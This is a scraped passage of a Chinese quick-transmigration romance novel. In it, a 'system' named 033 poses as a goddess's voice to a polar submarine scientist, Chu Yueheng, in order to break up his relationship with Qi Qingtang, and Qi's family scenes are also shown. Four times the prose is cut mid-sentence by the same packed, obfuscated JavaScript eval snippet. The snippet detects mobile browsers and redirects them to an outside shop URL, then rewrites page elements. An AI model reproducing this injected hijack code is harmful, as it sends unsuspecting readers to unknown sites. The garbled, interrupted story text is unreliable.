《渣攻换受文学[快穿]》 1. 冰海尽头 极地的夜晚,星空高悬,零下四十度的寒风呼啸。 褚月恒穿着黑色羽绒服从实验室里走出来,能穿透浓雾的大功率手电筒散发出刺目的光芒。 他后知后觉的感到有些饥饿,他的算法距离成功仅一步之遥,可这一步却不知道要迈多久,对真理和成功的急切令他废寝忘食。 极地冰海汹涌的波涛沉浸在黑暗中,无穷无尽的黑水绵延到天际线。远方海天相接处隐隐看见一丝昏黄的灯光,那是北宁族守夜人的船,今夜负责守夜的是褚月恒的父亲,褚月恒摇摇看了眼那昏黄的灯。 守夜人的工作是很辛苦的,需要不断地调整渔船的风帆,确保不被巨浪打翻船,还需要忍受寒冷和黑暗。 他父亲不光要守自己的份额,还要帮助他叔叔、堂弟守夜,时不时还会帮助其他村民。褚月恒漠然的收回视线。 守夜是北宁族千年来的传统,但冰海方圆百里的海域都处于他的监控之下,他的探测器深至暮色带,能看到北宁族水葬的先祖化作絮状有机物被深海中的烧饼章鱼吃掉。 四年前,他被外派到地球上最偏远的科考站之一——极地冰海1号科考站,负责研究一款更先进的潜水器,让人类能够更自如的探索冰海深处的秘密。 长期守在荒无人烟的冰海旁,处理着一堆在旁人看来枯燥乏味的数据,这就是他毕业后过的生活。 一切都太过平静,平静到和他儿时提着煤油灯在冰海旁看星星时一样,如同时间倒流。仿佛他跨越千山万水走到这里,只是走回了原点。以为拥有了梦寐以求的东西,却仿佛只拥抱住了空气。 “嘿,看右边!” 一道声音在褚月恒的脑海里响起,那声音低沉温柔,是成熟女性的声线。 褚月恒惊疑不定的睁大眼睛,下意识向右看去,他看到翻涌的海水和星空,下一秒,他看到金色的极光在夜空绚丽的闪烁。 “你喜欢极光吗?”神秘的声音带着笑意。 “我……”褚月恒四处环顾一圈,试图找到是谁在讲话,“我经常看到。” “金色的也经常看到吗?” “那倒没有。”褚月恒关掉手电筒,在黑暗里,他微微垂眸,平静的问,“你到底是谁?” 黑暗赋予了褚月恒勇气,他也知道,黑暗会剥夺别人的勇气。此刻如果对方是个普通人,大概真的会感到害怕。 “思明冰川,神庙里,石像。”那声音娓娓道来,“还记得吗?” 褚月恒当然记得,七岁时,他在深更半夜,一个人深入冰山,进入北宁族的圣地——思明冰山,并登上了冰海神女的神庙。 那夜风雪很大,他体力耗尽,几乎要冻死在冰山中时,在风雪和迷雾中,他抓住了一只手,顺着那只手他扑进了那人怀中。 风雪过去后,他抬起头,看到了冰海神女的雕像,雕像穿着北宁信徒披上的熊皮大氅。 褚月恒永远记得极地苍白的太阳如何缓缓照亮神女的脸庞,她的神色威严、慈悲。从那一刻起,褚月恒认定自己是神女的孩子。 一切都是命运的安排,注定由他来为人类打开冰海的大门,发现海底的宝藏,他开始坚信他是被神女选中的人。 这个故事他没告诉任何人,出现在他脑海里的神秘声音突然提起这件事,唯一的解释就是——他终于真的疯了。 “如果你拒绝,我可以离开。”那声音平静的说。 褚月恒握紧手电筒,重新按下按钮,苍白的光线照亮前路:“不,你来的正是时候。” 他的潜水器距离成功在望,在他看来,他的生命才要真正开始,这个神秘的声音来的正好,是他潜意识深处给自己的奖赏。 他们一步一个脚印的走过坚冰,那声音没再说过话,褚月恒也没再呼唤过她。 三个月前—— 系统033翻开任务资料薄,语气抑扬顿挫的朗读: “在这个星球的最北边,极地一望无际的冰川中,隐藏着世界上最神秘的民族——北宁族,北宁族是夏国最后一个被解放的民族。 与其说是被解放,不如说是被解救,从无尽的寒冷和忍耐中被解救。 北宁族从诞生以来人数就从未超过一万,在物质资源贫瘠的北地靠打猎捕鱼为生。每个族人都为生存疲于奔命,各个沉默寡言,从未产生过什么压迫别人的奴隶主。不过被解放还是有好处的,他们终于能吃上来自中原的水灵灵的小白菜了。 也不知是不是小白菜吃多了的原因,这些年北宁族人的外貌和性格产生了些许变化。 传统的北宁族人高大白皙,发色偏灰白,眸色为浅灰色,易于在雪地里隐藏。由于捕猎需要耐心的缘故,他们的个性沉默而坚韧。 可近几年北宁族新出生的小辈的性情却令人一言难尽,比如褚月恒的堂弟,就是油嘴滑舌、好吃懒做。 再比如褚月恒本人,他违背祖训的长出了乌黑的头发和漆黑的眼睛,与苍白的皮肤组合在一起,给其他族人造成了恐怖的视觉效果,就像大熊猫在其他动物眼里是非常恐怖的生物一样。 他怎么能长成这个样子?既不像中原人,也不像北宁人。在古代,长这个样子的北宁人就是残次品,在捕猎时一眼就会被猎物发现。” 念到这里,033也很纳闷,作为来自高级文明的系统,他仔细筛查了褚月恒的基因,确定褚月恒就是纯正的北宁人,没有掺杂一丝中原血统。褚月恒长成这样,只能是基因变异的结果了。 不过这些对033来说都不重要,它是带着主系统分配的任务来的。主系统为了加速各个小世界人类文明发展的速度,特意派它来到每个世界的关键人物身边,帮助他们顺利实现人生价值。 褚月恒是它的第一个任务对象,主系统说褚月恒原本可以发现潜藏在冰海深处的新能源,将人类推向能源革新时代。但他走错了路,在二十八岁突然辞职,跑去泊岳成为了娱乐公司的执行总裁,发现新能源这事儿就这么被耽误了六百多年。 “突然转行?”033飘在半空中,看着深更半夜不睡觉的褚月恒,“难道是熬夜熬的?” 033看了眼表,加班到晚上十点,确实挺晚的,还孤零零一个人守在无人区边上,这份工作不光辛苦,还寂寞,确实不是一个年轻的小伙子愿意忍受的。 再仔细扫描一下褚月恒的健康状况,033松了口气。褚月恒除了长得不像北宁族,身体的其他参数都是标准的北宁族参数,来自高纬地区的强悍体质让他比寻常中原男子更高大强壮。由于自小喝洁净的冰川水的缘故,他的脏器也都非常健康,眼看着还能再加几十年班的样子。 翻开宿主的生平记录,褚月恒的一生被详细记载在033的工作手册里。 褚月恒很幸运,他一出生就拥有了满级配置,他的大脑拥有堪比四维摄影机的记忆力,三岁以后他五感所感知到的一切细节都清晰明了,他的身体强大而健康,从小到大缺衣少食也没影响他活蹦乱跳。可以说,他母亲给了他一个很不错的开局。 但是,他带着满级配置来到这个世界,这个世界却没给他什么正向的反馈。 褚月恒的母亲是出生于极夜零点的女孩儿,被村民选中的神侍,自小在神庙中生活,也许因为一个人长大太过孤单,她在成年后选择下嫁给他父亲,不再继续做神侍,可褚冰河婚后的表现令她失望,在繁重的家务和褚家人的排挤下,她在褚月恒一岁时选择离开北地。 她离开不久后,褚月恒的姥姥姥爷也选择了离开,母亲背后的符家和褚家关系生疏,从此再无联系。 她离开后,褚月恒渐渐长大,表露出容貌和性情都异于常人的特点来,原本对他慈爱的父亲变得暴躁起来。 除了暴躁的父亲外,他还被被成年族人嫌弃,被同族小孩霸凌,六岁时被剥夺上学的资格,同时被剥夺学习北宁族特有的捕鱼技术的资格,成为了被北宁族抛弃的小孩。 六岁到十二岁这六年,他被父亲锁在小阁楼里,靠着看母亲留下的书籍打发时间,只有凌晨的时候才可以趁着父亲睡觉时溜出去,一个人提着煤油灯在冰海附近游荡。 他母亲留下的书籍包含天文、地理、工学等知识,其中他最喜欢的就是那本《极地冰海漫游指南》,在无数晦涩难懂的专业书籍中,这是唯一的一本科幻小说。 七岁那年,他大胆的偷跑出阁楼,一个人穿越无人区,登上了思明冰川,在风雪交加的夜晚被冰海神女雕像拯救,从此成为忠诚的神女信徒。对神女的信仰帮助他摆脱了被人类排挤的痛苦,全心全意沉浸在探索冰海、追求真理的渴望中。 他十三岁时开始蹿个子,看着骤然长大的儿子,他父亲终于意识到不能把孩子在阁楼里锁一辈子,就开始教导他打猎。 褚月恒的打猎天赋非常差,和他那熊一样的父亲不同,他是偏向思考型的人类,善于泛化思考、也擅长整理严谨的逻辑线,这意味着他的大脑一直维持着高速运转的状态,无法停歇。让他在丛林中集中精力等待猎物出现,什么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271781|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想只想着捕猎,那是不可能的。他父亲不懂人类的天赋有很多种,只是进一步认定褚月恒是个废物、残次品。 十三岁到十五岁,他一直生活在父亲的高压政策下,被辱骂、毒打,用两年的时间终于把北宁族打猎的手段学了个及格,做饭、打扫卫生等生活必须手段也在父亲的要求下全部掌握。 然后他就跑了。 一个人跑到冰河省的省会定北城,半工半读的念完高中,凭借优越的智商,顺利的考入定北大学,目标明确的选择了物理工程专业,毕业后又目标明确的选择了极地冰海研究所就职,并如愿以偿的被分配到最靠近冰海的科考站,负责研制最先进的冰海潜水器。 033看到这里还是挺满意的,这人生前二十六年算不上幸福,但绝对没有走错路。一个伟大的科学家该有的纯粹的科研梦想、坚定的意志力,褚月恒都有了。 作为一个人道的系统,033当然希望宿主幸福,但是幸福是有很多定义的。它知道二十六岁的褚月恒一定是幸福的,没什么比得偿所愿的感觉更让人满足了。 但是,问题就出现在二十六岁这一年。 二十六岁这年,一个叫戚清棠的人出现了。他是一名来自夏国首都泊岳城的大学生,就读于全世界最好的电影学院,出身于泊岳老牌权贵之家。为了和家人赌气,他一个人跑到苦寒的极地参与一个大制作电影的拍摄。 戚清棠是一个高傲的人,他也有高傲的资本,他长着一张在娱乐圈也数一数二的艳丽面孔,还有漂亮的家庭背景,巴结他的人数不胜数,他要是不高傲,怕是每天应付那些来套近乎的人都能把嘴皮子说破。 就这么一个天之骄子,却对褚月恒一见钟情了,别人拼死拼活在他面前表现,他都懒得施舍一分注意力,却心甘情愿的放下骄傲来啃褚月恒这座大冰山。 他把拍戏以外的时间都用在追求褚月恒身上,不光自愿陪褚月恒住在苦寒的无人区基地里,还费心思学会了做饭,只为了哄着褚月恒多吃几口。 褚月恒满脑子都是冰海,哪里注意得到戚清棠那些细腻、体贴的付出?就算是注意到了,他也不会往心里去。 褚月恒不关心家里的地暖热不热,沙发套好不好看,饭好不好吃,有时候他工作起来甚至日夜不休,他根本没有‘人类需要生活’这个概念,他也早已不把自己看作普通人类。 戚清棠这个所谓的‘天之骄子’,在他眼里也不过是平庸的芸芸众生中的一员,平庸的人类做了些什么、说了些什么,他又怎么会在意? 戚清棠是个清高的性子,自己做了什么都不乐意拉下脸去说,自己受了委屈也骄傲的忍者不乐意去诉苦,于是时间一长,俩人积累的误会越来越多,戚清棠一下子就病倒了。这一病,把褚月恒吓了一跳,褚月恒终于意识到了戚清棠在自己心里的分量。 意识到后,他第一反应是排斥,排斥转换成了冷漠。病好后的戚清棠又忍受了两个月的冷暴力,这才狠下心来决定放手。在褚月恒的潜水器正式完工的那个晚上,戚清棠安静的收拾好行李,干脆利落的回了泊岳。 褚月恒当天晚上没做出什么反应,但第二天驾驶着潜水器下水时,看着自己梦寐以求的冰海,突然就发觉这一切都没意义。 支撑他度过艰辛岁月的信念就这么崩塌了……神女不存在……探索冰海没有意义,他认为自己已然弄丢了真正有意义的东西。 然后就是痛彻心扉、幡然悔悟,义无反顾的辞掉工作追到泊岳,用尽手段挽回戚清棠的心。经过无数虐身虐心、纠缠推拉的节目后,褚月恒终于追妻成功。为了给戚清棠的事业保驾护航,褚月恒继承了戚清棠父亲的娱乐公司,学会做一个成功的商人和一个完美的老公。 故事到这里圆满结局,戚清棠收获了一个满心都是他,愿意把一切都献给他的老公。 至于褚月恒幸不幸福就不知道了,主神给的本子是这么描述褚月恒的内心感受的:只要能留在戚清棠身边,他别无所求。他这一生都在追求‘逃离’这个概念,却自始至终没明白他想逃离什么,又要逃去哪里。而现在,戚清棠开心,他就开心,戚清棠得偿所愿,他就得偿所愿,他终于在戚清棠身上感受到了他梦寐以求的圆满,他愿意付出一切保护戚清棠的健康和梦想。 看完这些资料,033懂了,这个任务的关键就在于拆散戚清棠和褚月恒这对儿小情侣,至于拆散后褚月恒会不会为了什么别的原因放弃探索冰海,这个它暂时还顾不上管,走一步算一步吧。 2. 神的奖赏 关于该如何出现在褚月恒的生活里这件事,033琢磨了很久,最终决定她要出现在褚月恒的脑子里,以一个温柔、强大的女性形象。 这是专门为褚月恒规划的形象。 她来自褚月恒自己的大脑,就可以规避褚月恒对人类的排斥和不信任。女性的形象,则取自褚月恒的童年经历。 褚月恒和父亲的关系很紧张,如果它用男人的声音对褚月恒指指点点,褚月恒很可能会产生反叛心理。 制定好执行任务的策略并上交后,033终于获得了进入小世界的权限,她很慎重,只简单讲了几句话后就陷入了沉默。她不想做一个唠叨的、干涉过多的母亲,褚月恒独立、自负,是不会接受别人的控制的。 褚月恒回到小木屋,戚清棠立刻迎了上来:“今天怎么又回来这么晚,是不是又没吃饭?” 戚清棠穿着一身名贵的丝绸礼服,休闲又不失美丽,让这极地的小木屋因他的存在而蓬荜生辉。与精致的礼服相反,他的头发随意的扎着,乌黑的秀发和他雌雄莫辨的容貌很相称。可惜美人再美,褚月恒也是不懂去欣赏的。 褚月恒心不在焉的点点头,他心里还想着那道神秘的声音,作为一个科学家,他却挺迷信的,他相信在科学所能触及的范围之外,还存在一些更了不起的真理。突如其来的声音到底是他神经失常还是命运的指引,他无法弄明白。 他专注地纠结于这个问题,这样他就不用去感受心底若有若无的恐慌感了,他甚至不敢承认自己是恐慌的。潜水器要完工了,他只能为此感到兴奋,不能感到恐慌,一丝也不能,不然这一切还有什么意义呢? 可是拥有了潜水器又怎么样?下一步他要做些什么呢?他坚信冰海里有宝藏,坚信探索冰海是神的指引,可这些坚信是没有根据的。 目前,他拒绝去思考这个问题。 褚月恒的冷漠,让戚清棠有些伤感,他委屈的看了褚月恒一眼,擦了擦眼角,默默去厨房端菜了,把丰盛的饭菜端上桌,他小声说:“我热了三遍,不知道你什么时候回来,只能一直准备着。” “嗯。”褚月恒回过神来,拿起筷子吃了一口离自己最近的菜,咕咾肉浓郁丰富的味道冲击着褚月恒单调的味蕾,他有点想吃干巴面包了。 褚月恒隐约感觉戚清棠又说了些什么,可他没分神去听。只差一点就能成功的极地潜水器和突然出现在他脑子里的033占据了他全部心神。 探索冰海是他二十六年做出的每一个行动的原始动机,而033所扮演的角色,则满足了他儿时埋藏在心的某种渴望。 这种得偿所愿的感觉前所未有,可比起享受这种感觉,他的大脑显然更倾向于去预测另一只靴子什么时候掉下来,也就是,接下来又会有什么倒霉事发生。 “我该怎么称呼你?”褚月恒在脑海里问。 “叫我寒英奴就好。”033回答,非常富有极地神话色彩的名字,褚月恒很喜欢。 “你最近作息太混乱了,我想煮些汤给你调理一下,需要去定北城买些食材,你陪我一起吗?”戚清棠一边拨弄着盘子里的菜,一边漫不经心的问。虽然表情满不在乎,但他的眼睛却小心翼翼的看着褚月恒,满怀期待。 “好啊。”褚月恒在刚才走神之际,还是留了一丝心神来应付戚清棠的,知道戚清棠要去定北城逛街。 度过头四个月的极度烦躁后,褚月恒渐渐适应了生活中有这么个人。他学会了耐心和忍让,懂得偶尔要花时间讨戚清棠的欢心。否则戚清棠会哭的鸡飞狗跳,然后不管不顾的把自己的身体作践到医院里。 戚清棠强颜欢笑着,把其他菜往褚月恒身边推:“你又这样,就只吃一个菜,那怎么能营养均衡?” 褚月恒贯彻着耐心和忍让的基本方略,伸手夹了桌子上直线距离他最远的菜。 “我们还得去医院开点治疗头痛的药。”戚清棠揉了揉额头,面色苍白。 褚月恒的心揪了起来,戚清棠又不舒服了,也许又会像之前肺炎那次一样,差点死掉:“是地暖不够吗?” 戚清棠摇摇头:“别担心,你多陪陪我就好了。” 褚月恒不吱声了,他不喜欢呆在戚清棠身边,平庸的人类只会说无聊的废话,他一句也不想听,如果可以,他希望他们只在床上交流。 沉默了一会儿,褚月恒才说:“我最近工作忙。” 戚清棠的眼睛红了,但他还是勉强自己笑出来:“没关系,工作重要,我拍戏也很忙。” “我请个厨师来吧,你不要再做饭了。”褚月恒猜测戚清棠是因为累才老生病,不让他做任何事,他就能好点。 “我想亲自给你做好吃的,然后亲眼看你吃。再说,陌生人来家里你又要不高兴了”戚清棠拖着下巴看着褚月恒,满眼爱意。褚月恒其实挺好懂的,他不高兴的时候散发出的冷气可以让方圆几米内的人类都战战兢兢。 遇到褚月恒之前,戚清棠没有看人脸色的习惯,遇到褚月恒后,他每天要做的最耗费精力的事儿就是琢磨褚月恒的情绪,观察褚月恒的脸色。 褚月恒被那眼神灼烧到了,感到浑身难受,可又忍不住想要更多,总之,那是一种复杂的感受,所以,他选择屏蔽。 遇到戚清棠后,他才知道原来他也可以产生这么多复杂的情绪。度过最初的嫌弃和不耐烦后,他发现他居然有点上瘾了,如果一定要形容令他上瘾的到底是什么感觉,那应该就是那种‘活人感’吧。 “如果有一天,我离开你了,你会想我吗?”戚清棠开玩笑般问。 “会的。”褚月恒敷衍的回了两个字。 戚清棠苦涩的低下头。 “明天是最后一天,我的戏要杀青了。”戚清棠下定决心般对褚月恒说。 褚月恒的筷子顿了一下,突然很想再次听见脑海里的声音,希望她说些什么。 分离要降临了,褚月恒一向喜欢分离,那种即将告别一切、迎来新的开始的感觉,总令人有种解脱般的快感。 可和戚清棠的分离格外的不同,比起自由,他感受到的更多是焦躁和恐惧。 戚清棠会不会在千里之外的地方生病,然后默默死掉?然后,他们就永远不会见面了。 戚清棠身体不好又娇气,会不会吃很多苦?这一切都怪他,要不是他工作起来不看时间,戚清棠去科考站送饭他又懒得开门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271782|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚清棠就不会被冻出肺炎,身体状况还会比现在稍微好些。 “你没什么想说的吗?”戚清棠打断了褚月恒杂乱的思绪。 “祝你杀青顺利。”褚月恒微微勾了一下唇角,笑容微不可见。 气氛沉静的令人压抑,戚清棠死死的盯着褚月恒的脸,企图看出一丝不舍,回应他的只有无尽的漠然和冰冷。 小木屋中昏黄的光线里,戚清棠可悲的发现他还是很喜欢褚月恒,尤其当褚月恒施舍般的说出那句简短的祝福时,戚清棠依然为那一丝笑容感到心动。 他是首都的贵公子,来极地是和父母赌气后的决定,刚来到这里他就后悔了,他本该立刻给大哥打电话,让大哥接他走的。 可仅仅因为在参观极地科考博物馆时对褚月恒的那惊鸿一瞥,他的心就被留在极地了。他就像是被妖精蛊惑了一样,主动走到褚月恒身边,向他介绍自己。这行为不像是他做出来的,从来只有别人上赶着来找他聊天,他从不主动和别人搭讪。 这本是一时冲动的决定,可越是靠近褚月恒他就越舍不得离开。他对褚月恒的喜欢,不仅仅是因为那张脸。 就像是被下了降头,他为褚月恒吃了许多他这辈子原本不用品尝的苦头。 他付出、不停的付出,付出到身心俱疲,却还是得不到他想要的回应。 “其实,”戚清棠深吸了一口气,微笑着说,“我还有点舍不得呢,剧组的人对我很好,杀青后关系就会疏远了,没机会像这样天天见面了。” “但世界上多出了一部你们一起拍的电影。”褚月恒实事求是的安慰了一句,心有些乱,却不愿面对。 回想起戚清棠进入他生活的这六个月,他能回忆起的只有混乱和烦躁。 从三岁起,他就拥有了清晰的空间记忆力,他眼睛看到的一切,他经历的一切,都异常明晰的存档在他的大脑里,每一处细节、每一个事件发生在几点几分,都清晰明了。 这个能力让他事半功倍,从他十五岁脱离父亲的控制后,他做的每一件事都有鲜明的目的。 可这个能力在过去那六个月失效了。 调出过去六个月的记忆,里面经常有模糊不清的情况出现,甚至在某些时间节点,他都分不清这些事是在做梦、臆想,还是在客观世界真实发生的。 他沉浸在各种复杂的情绪里,大脑记忆错乱,无法指导他做出高效、目的性强的行为。那六个月,他做了许多无意义的、自己无法理解的事情。 他对这种状态的忍耐已经到达了极限,也是时候结束这一切了。 “杀青后有什么打算?”褚月恒平静的问。 戚清棠企图从那双漆黑的眼睛里看出一丝一毫的不舍,可回应他的只有冷漠。他喜欢那双眼睛,就像他喜欢古老的冰川,他总惊叹于那浩瀚又冰冷的美丽。 可当这美丽的存在不愿意给他的情感一丝一毫的回应时,他能感受到的就只有心灰意冷了。 再美丽的存在,若是注定不属于他,那他也就不会再执着了。 坚持了那么久,付出了那么多,最终一无所获,戚清棠咬着嘴唇,努力把泪水忍住:“可能要回家吧。” 3. 命运的礼物 戚清棠说要回家,就真的回家了。 潜水器彻底完工,极地冰海研究所的领导要开香槟庆祝。褚月恒不参加社交活动,少见的早早下班回了家。 打开房门后,褚月恒立刻就意识到戚清棠走了。 戚清棠几乎没带走任何东西,他自己买的沙发、壁炉、摆件都还在原位,他甚至还给褚月恒留了晚饭,但是‘他不存在于这个房子’这个事实对褚月恒来说实在是太过鲜明了。 033观察着褚月恒,猜测褚月恒可能想对她倾诉些什么。 但是褚月恒只是默默的吃了饭,然后像从前的任何一个晚上一样,看一会儿书后就去睡觉。 漆黑的房间里只有电子壁炉发出的白噪音,褚月恒盯着天花板看了会儿,脑海里不受控制的想起戚清棠,戚清棠自己都不知道,每晚他睡熟后,总是下意识要往褚月恒怀里扑,然后像个八爪鱼一样狠狠把褚月恒捆住。 这让褚月恒想起来小时候他总是在晚上偷偷溜出小阁楼,他父亲就会在睡觉前拿铁链把他锁住。 戚清棠比铁链子柔软多了,还很香。 —— 九月的泊岳城依旧是草长莺飞,街道两旁的政府办公大楼鳞次栉比,有时髦的办公园区,也有更有质感、更古老的历史建筑,比如泊岳博物馆。 公山易禾默念了一遍早已烂熟于心的稿子,深吸了一口气,抬头望向拱形天花板和高悬的夏国旗帜,看到金色的阳光铺满了穹顶。 就在他准备用这短暂的休息时间感慨一下自己走过的二十年人生旅程时,电话铃声响了,是父亲打来的。公山易禾有些意外,他父母已经离婚五年了,他和父亲也就逢年过节打个电话维持一下亲情,他父亲这会儿找他能有什么事? “你弟弟病了,来定北大学附属医院!” 公山易禾松了口气,不是父亲的小情人给他怀了弟弟妹妹就好:“您别着急,我这儿有个听证会,等听证会结束,我立刻过去。” “你要想好,这可能是最后一面。”戚砚琛的声音平静到残酷,“你母亲不在国内,赶不回来,你自己看着办。” 挂掉电话,公山易禾的目光落在流苏窗帘上,国会大厦的窗户很大,从地板延伸到了天花板,带着一种庄重的古典美。 “易禾,到你发言了,咱们线粒体基因工程计划的未来就在你手里了,加油!” 公山易禾放下电脑,风度翩翩的笑了一下,眸中仿佛倒映着金色的阳光和窗外森绿色的树影:“我会努力的。” 五个小时后,乘坐私人飞机赶到定北城的公山易禾在医院抢救室门口安慰年迈的爷爷奶奶,他们亲手把戚清棠拉扯到大,比他父亲更在乎清棠的安危。 公山易禾的父亲戚砚琛面沉如水的坐在等候室的沙发里,烦躁的处理公务。 戚砚琛相貌生的美艳,年轻时是夏国数一数二的流量明星。二十八岁激流勇退,和年轻有为的金融新星公山佑结婚,成为了京城豪门公山家的赘婿。 在公山家的支持下,他开了一家娱乐公司,从艺人变成老板。 在公山易禾小时候,曾认为他是这世间最温柔的好爸爸。他是被戚砚琛亲手带大的,他的衣食住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271783|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,每一件事,都是由戚砚琛亲自操持的,就算偶尔需要保姆代劳,戚砚琛也会因为不放心而一会儿一个电话,恨不得长一双眼睛在保姆脑门上盯着。 那时候,他母亲虽然工作忙,但也会每晚回来哄他睡觉,把他哄睡后才会继续去加班。 直到他十六岁那年,母亲发现父亲在家里主卧和负责遛狗的保姆睡觉,他们的婚姻才分崩离析。 他十五岁就常驻岳阳湖区的实验室里了,十六岁时他正在处理科研生涯遇到的第一个大危机,没有多余的精力关心家里的事,所以他并没有直面这场家庭纷争,他七岁的弟弟戚清棠直面了这一切。 因此他对戚清棠的情感是带着愧疚的宠溺,对戚砚琛的态度则是生疏、排斥。 等候室里偶尔传来奶奶低声的抽泣声和爷爷安慰的声音,公山易禾和戚砚琛面对面坐着,谁也不想说话。 “这事儿,你来处理还是我来?”戚砚琛收起电脑,看向公山易禾。 公山易禾平静的翻看着病例:“我来,您忙自己的事去吧。” 戚砚琛对这个答案不满意:“你来做主,我可以接受,但我毕竟是你们的父亲,不能完全不管!我已经为清棠选好了妻子,对方出身高门,既能扶持清棠,也能管着他,不让他再干出这种离谱的事情。” 公山易禾觉得这事儿颇为荒谬:“清棠喜欢男人,这件事你跟人家交代了么?” 戚砚琛美艳的凤眸扬起,闪过一丝讥讽的笑意,“你母亲喜欢女人,我不是一样和她结婚了,你们公山家这遗传病,治一治就好了,问题不大。” 4. 大鳍后肛鱼 作为生物学家,公山易禾并不想在急救室门口纠正父亲不科学的言论,他在思考该怎么解决眼前的问题。 “还是等清棠醒来后,问他的意见吧。”公山易禾留下这句话后,就不紧不慢的起身去给爷爷奶奶拿泡好的姜茶去了。 戚砚琛神色冷漠的盯着公山易禾:“你倒是比我更像个爹,你弟弟从小脑子就缺根弦,身体也差劲儿,可谓是一无是处,你要是把他带沟里了,他这辈子就算是毁了,你确定要放任他胡闹?” “他不是一无是处的人,只是在你眼中一无是处罢了。”公山易禾敷衍的回应了一句,他挑了个离戚砚琛更远的沙发坐下,拒绝沟通的意思很明确。 正好手机响了,公山易禾拿出手机翻看助理发过来的褚月恒的资料,眼神定格在资料右上角那张证件照上,久久没回神。 乌发雪肤的极地帅哥的确有独特的魅力,不好这一口的人只会觉得‘嗯,长得不错’,好这一口的人则会像戚清棠那样,着了魔一般难以自拔。 而作为戚清棠的亲哥,公山易禾也被简简单单一张证件照煞到了。 他这辈子见过许多惊艳的人,追他的男男女女跨越各行各业、各色人种,每次被追求,他心中都有淡淡的排斥和厌烦,这是他自己的心理问题,不是任何人的错。 可褚月恒的美丽给他一种奇特的亲切感,这种亲切感和由于弟弟的事儿而对褚月恒产生的厌恶纠缠在一起,形成一种古怪的情感。 他早就知道戚清棠在极地谈了个男朋友,他对此也没什么意见。他弟弟才十九岁,第一次自己出远门,看上个男人也不是什么大问题。但现在他弟弟孤身一人跑回家,带着各种病,据爷爷奶奶说还很伤心,那就值得他好好调查一下了。 “公山教授,戚总,清棠没事儿了。”就在这时,助理面带喜色的带来了好消息。 —— 033飘在空中,跟随褚月恒一起走进潜水器。他们沿着冰川垂直下潜,进入冰冷静谧的海底世界。随着深度增加,水压增加,光线消失,剩下漆黑一片。这里是全球海洋温度最低的地方。 033担心褚月恒害怕,褚月恒是它的宿主,也是它的孩子,它来这里的目的是让褚月恒过得更好、变得更优秀。 可当033看向褚月恒时,它没看到恐惧。褚月恒的神色出乎意料的平静,那种平静泛着诡异的神圣,就像是他终于回到了家,所有不安全感都远离了他。 033观察了褚月恒六个月了,从未见过褚月恒露出这种表情。褚月恒似乎天生感情匮乏,大部分时候都面无表情,漂亮的深黑色眼睛总是冰凉机械,像个制作精良的机器人。偶尔,戚清棠病重的时候,那双美丽的黑色眼睛才会流露出几分人性化的担忧。 可现在,在冰冷黑暗的深海,褚月恒终于表现得像一个有温度的人类了。 黑暗总有尽头,穿过一片死寂的深海,他们看到了海底生机勃勃的景象。褚月恒打开探照灯,看到珊瑚、鱼虾和无数其他奇特的物种,深海孕育的物种种类超过地球其他任何地方。 此时他们在海平面下一千米的位置,这里学名半生还带,阳光难以抵达。可生命总是渴望光明的,于是他们看到无数闻所未闻的物种用自己的方式发出光亮。 如同天地颠倒,他们的潜水器沉入了星空中。 褚月恒着迷的看着眼前的一切,这辈子第一次感觉如此的安全,就仿佛他已然回到了冰海母亲的怀抱。 好在人的一生不长,他迟早要真正回到这里。 成团的有机物质从上方落下,这是生存在浅海的生物的尸体所化,它们化作食物哺育着深海中的新物种,深海是生命之源。 褚月恒认为自己有一天也会化作这些有机物质落入深海,然后用另一种生命形态再次从深海走到地面,虽然那可能要花很久。 “第一次亲自下冰海,有什么感觉?”033打破沉默。 “挺好看。”褚月恒平静的垂下眸子,看向潜水器外一团团落下的有机物,一只远洋白鳍鲨一口吞掉了它们,满足的摇着尾巴离开了。 这是戚清棠离开的第一天,他认为只要给自己一些时间,他会重新适应没有戚清棠的生活的,可一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271784|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 